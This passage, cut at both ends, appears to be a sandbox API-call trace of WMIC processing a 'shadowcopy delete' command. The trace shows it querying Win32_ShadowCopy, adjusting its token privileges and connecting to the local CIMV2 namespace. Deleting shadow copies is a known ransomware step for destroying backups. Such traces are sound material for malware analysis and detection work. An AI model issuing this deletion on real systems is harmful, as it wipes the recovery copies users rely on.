0x24f8d8 [0275.566] malloc (_Size=0x18) returned 0x12cbf0 [0275.566] IWbemClassObject:Get (in: This=0x1ea09c0, wszName="Namespace", lFlags=0, pVal=0x24f900*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffee738f, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f900*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x12cbf0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.566] free (_Block=0x12cbf0) [0275.566] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0275.566] malloc (_Size=0x16) returned 0x12cbf0 [0275.566] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0275.566] malloc (_Size=0x18) returned 0x12cb70 [0275.566] IWbemClassObject:Get (in: This=0x1ea09c0, wszName="Locale", lFlags=0, pVal=0x24f900*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f900*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x12cbf0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.566] free (_Block=0x12cb70) [0275.566] lstrlenW (lpString="ms_409") returned 6 [0275.566] malloc (_Size=0xe) returned 0x12cb70 [0275.566] lstrlenW (lpString="ms_409") returned 6 [0275.566] malloc (_Size=0x18) returned 0x12cb90 [0275.567] IWbemClassObject:Get (in: This=0x1ea09c0, wszName="User", lFlags=0, pVal=0x24f900*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f900*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.567] free (_Block=0x12cb90) [0275.567] malloc (_Size=0x18) returned 0x12cb90 [0275.567] IWbemClassObject:Get (in: This=0x1ea09c0, wszName="Password", lFlags=0, pVal=0x24f900*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f900*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.567] free (_Block=0x12cb90) [0275.567] malloc (_Size=0x18) returned 0x12cb90 [0275.567] IWbemClassObject:Get (in: This=0x1ea09c0, wszName="Server", lFlags=0, pVal=0x24f900*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f900*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x12cbf0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.567] free (_Block=0x12cb90) [0275.567] lstrlenW (lpString=".") returned 1 [0275.567] malloc (_Size=0x4) returned 0x126ec0 [0275.567] lstrlenW (lpString=".") returned 1 [0275.567] malloc (_Size=0x18) returned 0x12cb90 [0275.567] IWbemClassObject:Get (in: This=0x1ea09c0, wszName="Authority", lFlags=0, pVal=0x24f900*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f900*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0x12cbf0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.567] free (_Block=0x12cb90) [0275.567] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.567] IUnknown:Release (This=0x1ea09c0) returned 0x1 [0275.568] GetCurrentThreadId () returned 0x6d8 [0275.568] ??0CHString@@QEAA@XZ () returned 0x24f8d8 [0275.568] malloc (_Size=0x18) returned 0x12cb90 [0275.568] IWbemClassObject:Get (in: This=0x1ea04e0, wszName="__RELPATH", lFlags=0, pVal=0x24f900*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4337c8, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x24f900*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0 [0275.568] free (_Block=0x12cb90) [0275.568] malloc (_Size=0x18) returned 0x12cb90 [0275.568] GetCurrentThreadId () returned 0x6d8 [0275.568] ??0CHString@@QEAA@XZ () returned 0x24f758 [0275.568] ??0CHString@@QEAA@PEBG@Z () returned 0x24f770 [0275.568] ??0CHString@@QEAA@AEBV0@@Z () returned 0x24f700 [0275.568] ?Empty@CHString@@QEAAXXZ () returned 0x7fef92b482c [0275.569] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x12cdd0 [0275.569] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0275.569] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x24f6c0 [0275.569] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x24f708 [0275.569] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x24f770 [0275.570] ??1CHString@@QEAA@XZ () returned 0x585eb001 [0275.570] ??1CHString@@QEAA@XZ () returned 0x585eb001 [0275.570] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x24f6c8 [0275.570] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x24f700 [0275.570] ??1CHString@@QEAA@XZ () returned 0x1 [0275.570] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x12ce40 [0275.570] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0275.570] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x24f6c0 [0275.570] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x24f708 [0275.570] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x24f770 [0275.570] ??1CHString@@QEAA@XZ () returned 0x585eb001 [0275.571] ??1CHString@@QEAA@XZ () returned 0x585eb001 [0275.571] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x24f6c8 [0275.571] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x24f700 [0275.571] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.571] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef92b4820 [0275.571] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.571] malloc (_Size=0x18) returned 0x12cbb0 [0275.571] malloc (_Size=0x18) returned 0x12cc10 [0275.571] malloc (_Size=0x18) returned 0x12cc30 [0275.571] malloc (_Size=0x18) returned 0x12cc50 [0275.571] malloc (_Size=0x18) returned 0x12cc70 [0275.571] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0275.571] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0275.571] malloc (_Size=0x18) returned 0x12cc90 [0275.571] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0275.571] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0275.571] malloc (_Size=0x18) returned 0x12ccb0 [0275.571] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0275.571] SysStringLen (param_1="\"") returned 0x1 [0275.572] free (_Block=0x12cc90) [0275.572] free (_Block=0x12cc70) [0275.572] free (_Block=0x12cc50) [0275.572] free (_Block=0x12cc30) [0275.572] free (_Block=0x12cc10) [0275.572] free (_Block=0x12cbb0) [0275.572] IWbemServices:GetObject (in: This=0x1e93b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x24f748*=0x0, ppCallResult=0x0 | out: ppObject=0x24f748*=0x1ea0a50, ppCallResult=0x0) returned 0x0 [0275.574] malloc (_Size=0x18) returned 0x12cbb0 [0275.575] IWbemClassObject:Get (in: This=0x1ea0a50, wszName="Text", lFlags=0, pVal=0x24f780*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfff42ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x24f780*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x42de70*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x3addf0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0 [0275.575] free (_Block=0x12cbb0) [0275.575] SafeArrayGetLBound (in: psa=0x42de70, nDim=0x1, plLbound=0x24f760 | out: plLbound=0x24f760) returned 0x0 [0275.575] SafeArrayGetUBound (in: psa=0x42de70, nDim=0x1, plUbound=0x24f750 | out: plUbound=0x24f750) returned 0x0 [0275.575] SafeArrayGetElement (in: psa=0x42de70, rgIndices=0x24f744, pv=0x24f798 | out: pv=0x24f798) returned 0x0 [0275.575] malloc (_Size=0x18) returned 0x12cbb0 [0275.575] malloc (_Size=0x18) returned 0x12cc10 [0275.575] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0275.575] free (_Block=0x12cbb0) [0275.575] IUnknown:Release (This=0x1ea0a50) returned 0x0 [0275.575] free (_Block=0x12ccb0) [0275.575] ??1CHString@@QEAA@XZ () returned 0x585eb001 [0275.575] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.575] free (_Block=0x12cb90) [0275.576] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.576] lstrlenW (lpString="Shadow copy management.") returned 23 [0275.576] malloc (_Size=0x30) returned 0x128600 [0275.576] lstrlenW (lpString="Shadow copy management.") returned 23 [0275.576] free (_Block=0x12cc10) [0275.576] IUnknown:Release (This=0x1ea04e0) returned 0x0 [0275.576] free (_Block=0x12cbd0) [0275.576] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.576] lstrlenW (lpString="PATH") returned 4 [0275.576] lstrlenW (lpString="delete") returned 6 [0275.576] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0275.576] lstrlenW (lpString="WHERE") returned 5 [0275.576] lstrlenW (lpString="delete") returned 6 [0275.576] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0275.576] lstrlenW (lpString="(") returned 1 [0275.576] lstrlenW (lpString="delete") returned 6 [0275.576] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0275.576] lstrlenW (lpString="/") returned 1 [0275.576] lstrlenW (lpString="delete") returned 6 [0275.576] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0275.576] lstrlenW (lpString="-") returned 1 [0275.576] lstrlenW (lpString="delete") returned 6 [0275.576] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0275.577] malloc (_Size=0x18) returned 0x12cbd0 [0275.577] lstrlenW (lpString="GET") returned 3 [0275.577] lstrlenW (lpString="delete") returned 6 [0275.577] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0275.577] lstrlenW (lpString="LIST") returned 4 [0275.577] lstrlenW (lpString="delete") returned 6 [0275.577] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0275.577] lstrlenW (lpString="SET") returned 3 [0275.577] lstrlenW (lpString="delete") returned 6 [0275.577] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0275.577] lstrlenW (lpString="CREATE") returned 6 [0275.577] lstrlenW (lpString="delete") returned 6 [0275.577] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0275.577] lstrlenW (lpString="CALL") returned 4 [0275.577] lstrlenW (lpString="delete") returned 6 [0275.577] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0275.577] lstrlenW (lpString="ASSOC") returned 5 [0275.577] lstrlenW (lpString="delete") returned 6 [0275.577] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0275.577] lstrlenW (lpString="DELETE") returned 6 [0275.577] lstrlenW (lpString="delete") returned 6 [0275.577] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0275.578] free (_Block=0x12cbd0) [0275.578] lstrlenW (lpString="/") returned 1 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0275.578] lstrlenW (lpString="-") returned 1 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] malloc (_Size=0xe) returned 0x12cbd0 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] lstrlenW (lpString="GET") returned 3 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0275.578] lstrlenW (lpString="LIST") returned 4 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0275.578] lstrlenW (lpString="SET") returned 3 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0275.578] lstrlenW (lpString="CREATE") returned 6 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0275.578] lstrlenW (lpString="CALL") returned 4 [0275.578] lstrlenW (lpString="delete") returned 6 [0275.578] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0275.579] lstrlenW (lpString="ASSOC") returned 5 [0275.579] lstrlenW (lpString="delete") returned 6 [0275.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0275.579] lstrlenW (lpString="DELETE") returned 6 [0275.579] lstrlenW (lpString="delete") returned 6 [0275.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0275.579] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0275.579] malloc (_Size=0x3e) returned 0x12cdd0 [0275.579] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0275.579] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff80 | out: _String="Select", _Context=0xffffffffffffff80) returned="Select" [0275.579] malloc (_Size=0x18) returned 0x12cc10 [0275.579] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*" [0275.579] lstrlenW (lpString="FROM") returned 4 [0275.579] lstrlenW (lpString="*") returned 1 [0275.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0275.579] malloc (_Size=0x18) returned 0x12cb90 [0275.579] free (_Block=0x12cc10) [0275.579] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008300780008 | out: _String=0x0, _Context=0x54008300780008) returned="from" [0275.579] lstrlenW (lpString="FROM") returned 4 [0275.579] lstrlenW (lpString="from") returned 4 [0275.580] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0275.580] malloc (_Size=0x18) returned 0x12cc10 [0275.580] free (_Block=0x12cb90) [0275.580] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008400780008 | out: _String=0x0, _Context=0x54008400780008) returned="Win32_ShadowCopy" [0275.580] malloc (_Size=0x18) returned 0x12cb90 [0275.580] free (_Block=0x12cc10) [0275.580] free (_Block=0x12cdd0) [0275.580] free (_Block=0x12cb90) [0275.580] lstrlenW (lpString="SET") returned 3 [0275.580] lstrlenW (lpString="delete") returned 6 [0275.580] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0275.580] lstrlenW (lpString="CREATE") returned 6 [0275.580] lstrlenW (lpString="delete") returned 6 [0275.580] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0275.580] free (_Block=0x12cad0) [0275.580] malloc (_Size=0x8) returned 0x126e20 [0275.580] lstrlenW (lpString="GET") returned 3 [0275.580] lstrlenW (lpString="delete") returned 6 [0275.580] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0275.580] lstrlenW (lpString="LIST") returned 4 [0275.580] lstrlenW (lpString="delete") returned 6 [0275.580] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0275.580] lstrlenW (lpString="ASSOC") returned 5 [0275.580] lstrlenW (lpString="delete") returned 6 [0275.581] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0275.581] WbemLocator:IUnknown:AddRef (This=0x1e81390) returned 0x3 [0275.581] free (_Block=0x25dfb0) [0275.581] lstrlenW (lpString="") returned 0 [0275.581] lstrlenW (lpString="XDUWTFONO") returned 9 [0275.581] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0275.581] lstrlenW (lpString="XDUWTFONO") returned 9 [0275.581] malloc (_Size=0x14) returned 0x12cad0 [0275.581] lstrlenW (lpString="XDUWTFONO") returned 9 [0275.581] GetCurrentThreadId () returned 0x6d8 [0275.581] GetCurrentProcess () returned 0xffffffffffffffff [0275.581] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x24fb20 | out: TokenHandle=0x24fb20*=0x290) returned 1 [0275.581] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x24fb18 | out: TokenInformation=0x0, ReturnLength=0x24fb18) returned 0 [0275.581] malloc (_Size=0x118) returned 0x12cdd0 [0275.581] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x3, TokenInformation=0x12cdd0, TokenInformationLength=0x118, ReturnLength=0x24fb18 | out: TokenInformation=0x12cdd0, ReturnLength=0x24fb18) returned 1 [0275.581] AdjustTokenPrivileges (in: TokenHandle=0x290, DisableAllPrivileges=0, NewState=0x12cdd0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=1432269698, Attributes=0x3f0c), (Luid.LowPart=0x0, Luid.HighPart=2482096, Attributes=0x0), (Luid.LowPart=0x2e0073, Luid.HighPart=7471174, Attributes=0x650069), (Luid.LowPart=0x79006c, Luid.HighPart=6357070, Attributes=0x65006d), (Luid.LowPart=0x22, Luid.HighPart=150995722, Attributes=0x3f1b), (Luid.LowPart=0x0, Luid.HighPart=1207840, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0275.581] free (_Block=0x12cdd0) [0275.581] CloseHandle (hObject=0x290) returned 1 [0275.581] lstrlenW (lpString="GET") returned 3 [0275.581] lstrlenW (lpString="delete") returned 6 [0275.581] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0275.581] lstrlenW (lpString="LIST") returned 4 [0275.581] lstrlenW (lpString="delete") returned 6 [0275.582] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0275.582] lstrlenW (lpString="SET") returned 3 [0275.582] lstrlenW (lpString="delete") returned 6 [0275.582] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0275.582] lstrlenW (lpString="CALL") returned 4 [0275.582] lstrlenW (lpString="delete") returned 6 [0275.582] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0275.582] lstrlenW (lpString="ASSOC") returned 5 [0275.582] lstrlenW (lpString="delete") returned 6 [0275.582] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0275.582] lstrlenW (lpString="CREATE") returned 6 [0275.582] lstrlenW (lpString="delete") returned 6 [0275.582] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0275.582] lstrlenW (lpString="DELETE") returned 6 [0275.582] lstrlenW (lpString="delete") returned 6 [0275.582] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0275.584] malloc (_Size=0x18) returned 0x12cb90 [0275.584] lstrlenA (lpString="") returned 0 [0275.584] malloc (_Size=0x2) returned 0x25dfb0 [0275.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffed314c, cbMultiByte=-1, lpWideCharStr=0x25dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0275.584] free (_Block=0x25dfb0) [0275.584] malloc (_Size=0x18) returned 0x12cc10 [0275.584] lstrlenA (lpString="") returned 0 [0275.584] malloc (_Size=0x2) returned 0x25dfb0 [0275.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffed314c, cbMultiByte=-1, lpWideCharStr=0x25dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0275.584] free (_Block=0x25dfb0) [0275.584] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0275.584] malloc (_Size=0x3e) returned 0x12cdd0 [0275.584] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0275.584] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff80 | out: _String="Select", _Context=0xffffffffffffff80) returned="Select" [0275.584] malloc (_Size=0x18) returned 0x12ccb0 [0275.584] free (_Block=0x12cc10) [0275.584] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008800680007 | out: _String=0x0, _Context=0x54008800680007) returned="*" [0275.584] lstrlenW (lpString="FROM") returned 4 [0275.584] lstrlenW (lpString="*") returned 1 [0275.585] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0275.585] malloc (_Size=0x18) returned 0x12cc10 [0275.585] free (_Block=0x12ccb0) [0275.585] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008900680007 | out: _String=0x0, _Context=0x54008900680007) returned="from" [0275.585] lstrlenW (lpString="FROM") returned 4 [0275.585] lstrlenW (lpString="from") returned 4 [0275.585] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0275.585] malloc (_Size=0x18) returned 0x12ccb0 [0275.585] free (_Block=0x12cc10) [0275.585] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008a00680007 | out: _String=0x0, _Context=0x54008a00680007) returned="Win32_ShadowCopy" [0275.585] malloc (_Size=0x18) returned 0x12cc10 [0275.585] free (_Block=0x12ccb0) [0275.585] free (_Block=0x12cdd0) [0275.585] malloc (_Size=0x18) returned 0x12ccb0 [0275.585] malloc (_Size=0x18) returned 0x12cbb0 [0275.585] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0275.585] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0275.586] free (_Block=0x12cb90) [0275.586] free (_Block=0x12ccb0) [0275.586] ??0CHString@@QEAA@XZ () returned 0x24fa90 [0275.586] GetCurrentThreadId () returned 0x6d8 [0275.586] malloc (_Size=0x18) returned 0x12ccb0 [0275.586] malloc (_Size=0x18) returned 0x12cb90 [0275.586] malloc (_Size=0x18) returned 0x12cc30 [0275.586] malloc (_Size=0x18) returned 0x12cc50 [0275.586] malloc (_Size=0x18) returned 0x12cc70 [0275.586] SysStringLen (param_1="\\\\") returned 0x2 [0275.586] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0275.586] malloc (_Size=0x18) returned 0x12cc90 [0275.586] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0275.586] SysStringLen (param_1="\\") returned 0x1 [0275.586] malloc (_Size=0x18) returned 0x12ccd0 [0275.586] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0275.586] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0275.587] free (_Block=0x12cc90) [0275.587] free (_Block=0x12cc70) [0275.587] free (_Block=0x12cc50) [0275.587] free (_Block=0x12cc30) [0275.587] free (_Block=0x12cb90) [0275.587] free (_Block=0x12ccb0) [0275.587] malloc (_Size=0x18) returned 0x12ccb0 [0275.587] malloc (_Size=0x18) returned 0x12cb90 [0275.587] malloc (_Size=0x18) returned 0x12cc30 [0275.587] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e81390, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xfff429d0 | out: ppNamespace=0xfff429d0*=0x1e93c18) returned 0x0 [0275.689] free (_Block=0x12cc30) [0275.689] free (_Block=0x12cb90) [0275.689] free (_Block=0x12ccb0) [0275.689] CoSetProxyBlanket (pProxy=0x1e93c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0275.690] free (_Block=0x12ccd0) [0275.690] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.690] ??0CHString@@QEAA@XZ () returned 0x24f9e0 [0275.690] GetCurrentThreadId () returned 0x6d8 [0275.690] malloc (_Size=0x18) returned 0x12ccd0 [0275.690] lstrlenA (lpString="") returned 0 [0275.690] malloc (_Size=0x2) returned 0x25dfb0 [0275.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffed314c, cbMultiByte=-1, lpWideCharStr=0x25dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0275.690] free (_Block=0x25dfb0) [0275.690] SysStringLen (param_1="SELECT * FROM 